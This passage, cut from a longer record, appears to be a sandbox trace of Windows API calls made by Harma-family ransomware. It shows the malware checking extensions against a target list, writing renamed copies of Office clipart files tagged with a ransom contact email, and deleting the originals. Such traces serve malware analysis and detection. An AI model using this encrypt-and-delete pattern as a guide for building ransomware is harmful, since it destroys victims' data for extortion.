office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.296] GetLastError () returned 0x0 [0143.296] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4354, lpOverlapped=0x0) returned 1 [0143.308] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4360, lpOverlapped=0x0) returned 1 [0143.309] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.309] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.310] SetEndOfFile (hFile=0x33c) returned 1 [0143.310] CloseHandle (hObject=0x33c) returned 1 [0143.310] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.310] SetEndOfFile (hFile=0x368) returned 1 [0143.312] CloseHandle (hObject=0x368) returned 1 [0143.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0143.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.313] lstrlenW (lpString=".doc") returned 4 [0143.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.313] lstrlenW (lpString=".docx") returned 5 [0143.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.313] lstrlenW (lpString=".pdf") returned 4 [0143.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.313] lstrlenW (lpString=".xls") returned 4 [0143.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.313] lstrlenW (lpString=".xlsx") returned 5 [0143.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.313] lstrlenW (lpString=".ppt") returned 4 [0143.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.313] lstrlenW (lpString=".zip") returned 4 [0143.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.314] lstrlenW (lpString=".rar") returned 4 [0143.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString=".bz2") returned 4 [0143.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString=".7z") returned 3 [0143.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.314] lstrlenW (lpString=".dbf") returned 4 [0143.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.314] lstrlenW (lpString=".1cd") returned 4 [0143.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.314] lstrlenW (lpString=".jpg") returned 4 [0143.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.314] lstrlenW (lpString=".doc") returned 4 [0143.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString=".docx") returned 5 [0143.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.314] lstrlenW (lpString=".pdf") returned 4 [0143.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString=".xls") returned 4 [0143.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.314] lstrlenW (lpString=".xlsx") returned 5 [0143.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.314] lstrlenW (lpString=".ppt") returned 4 [0143.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.315] lstrlenW (lpString=".zip") returned 4 [0143.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.315] lstrlenW (lpString=".rar") returned 4 [0143.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.315] lstrlenW (lpString=".bz2") returned 4 [0143.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.315] lstrlenW (lpString=".7z") returned 3 [0143.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.315] lstrlenW (lpString=".dbf") returned 4 [0143.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.315] lstrlenW (lpString=".1cd") returned 4 [0143.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0143.315] lstrlenW (lpString=".jpg") returned 4 [0143.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.315] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.315] lstrlenW (lpString="BD06102_.WMF") returned 12 [0143.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.316] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=16112) returned 1 [0143.316] CloseHandle (hObject=0x368) returned 1 [0143.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0143.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.316] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.316] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.366] GetLastError () returned 0x0 [0143.366] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0143.378] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0143.379] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.379] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.379] SetEndOfFile (hFile=0x33c) returned 1 [0143.379] CloseHandle (hObject=0x33c) returned 1 [0143.379] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.379] SetEndOfFile (hFile=0x368) returned 1 [0143.382] CloseHandle (hObject=0x368) returned 1 [0143.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.385] lstrlenW (lpString=".doc") returned 4 [0143.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".docx") returned 5 [0143.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.385] lstrlenW (lpString=".pdf") returned 4 [0143.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".xls") returned 4 [0143.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.385] lstrlenW (lpString=".xlsx") returned 5 [0143.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.385] lstrlenW (lpString=".ppt") returned 4 [0143.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.385] lstrlenW (lpString=".zip") returned 4 [0143.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.385] lstrlenW (lpString=".rar") returned 4 [0143.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".bz2") returned 4 [0143.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".7z") returned 3 [0143.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.385] lstrlenW (lpString=".dbf") returned 4 [0143.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.385] lstrlenW (lpString=".1cd") returned 4 [0143.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.385] lstrlenW (lpString=".jpg") returned 4 [0143.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.386] lstrlenW (lpString=".doc") returned 4 [0143.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".docx") returned 5 [0143.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.386] lstrlenW (lpString=".pdf") returned 4 [0143.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".xls") returned 4 [0143.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.386] lstrlenW (lpString=".xlsx") returned 5 [0143.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.386] lstrlenW (lpString=".ppt") returned 4 [0143.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.386] lstrlenW (lpString=".zip") returned 4 [0143.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.386] lstrlenW (lpString=".rar") returned 4 [0143.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".bz2") returned 4 [0143.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".7z") returned 3 [0143.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.386] lstrlenW (lpString=".dbf") returned 4 [0143.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.386] lstrlenW (lpString=".1cd") returned 4 [0143.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0143.386] lstrlenW (lpString=".jpg") returned 4 [0143.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.387] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.387] lstrlenW (lpString="BD06200_.WMF") returned 12 [0143.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.391] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=16676) returned 1 [0143.391] CloseHandle (hObject=0x368) returned 1 [0143.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0143.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.392] GetLastError () returned 0x0 [0143.392] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4124, lpOverlapped=0x0) returned 1 [0143.394] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4130, lpOverlapped=0x0) returned 1 [0143.396] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.396] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.396] SetEndOfFile (hFile=0x33c) returned 1 [0143.396] CloseHandle (hObject=0x33c) returned 1 [0143.396] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.396] SetEndOfFile (hFile=0x368) returned 1 [0143.399] CloseHandle (hObject=0x368) returned 1 [0143.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0143.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.400] lstrlenW (lpString=".doc") returned 4 [0143.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.400] lstrlenW (lpString=".docx") returned 5 [0143.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.400] lstrlenW (lpString=".pdf") returned 4 [0143.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.400] lstrlenW (lpString=".xls") returned 4 [0143.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.400] lstrlenW (lpString=".xlsx") returned 5 [0143.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.400] lstrlenW (lpString=".ppt") returned 4 [0143.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.400] lstrlenW (lpString=".zip") returned 4 [0143.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.400] lstrlenW (lpString=".rar") returned 4 [0143.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.400] lstrlenW (lpString=".bz2") returned 4 [0143.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString=".7z") returned 3 [0143.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.401] lstrlenW (lpString=".dbf") returned 4 [0143.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.401] lstrlenW (lpString=".1cd") returned 4 [0143.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.401] lstrlenW (lpString=".jpg") returned 4 [0143.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.401] lstrlenW (lpString=".doc") returned 4 [0143.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString=".docx") returned 5 [0143.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.401] lstrlenW (lpString=".pdf") returned 4 [0143.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString=".xls") returned 4 [0143.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.401] lstrlenW (lpString=".xlsx") returned 5 [0143.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.401] lstrlenW (lpString=".ppt") returned 4 [0143.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.401] lstrlenW (lpString=".zip") returned 4 [0143.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.401] lstrlenW (lpString=".rar") returned 4 [0143.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.401] lstrlenW (lpString=".bz2") returned 4 [0143.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString=".7z") returned 3 [0143.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.402] lstrlenW (lpString=".dbf") returned 4 [0143.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.402] lstrlenW (lpString=".1cd") returned 4 [0143.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0143.402] lstrlenW (lpString=".jpg") returned 4 [0143.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.402] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.402] lstrlenW (lpString="BD07761_.WMF") returned 12 [0143.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.403] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=26748) returned 1 [0143.403] CloseHandle (hObject=0x368) returned 1 [0143.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0143.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.403] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.403] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.404] GetLastError () returned 0x0 [0143.404] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x687c, lpOverlapped=0x0) returned 1 [0143.406] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x6880, 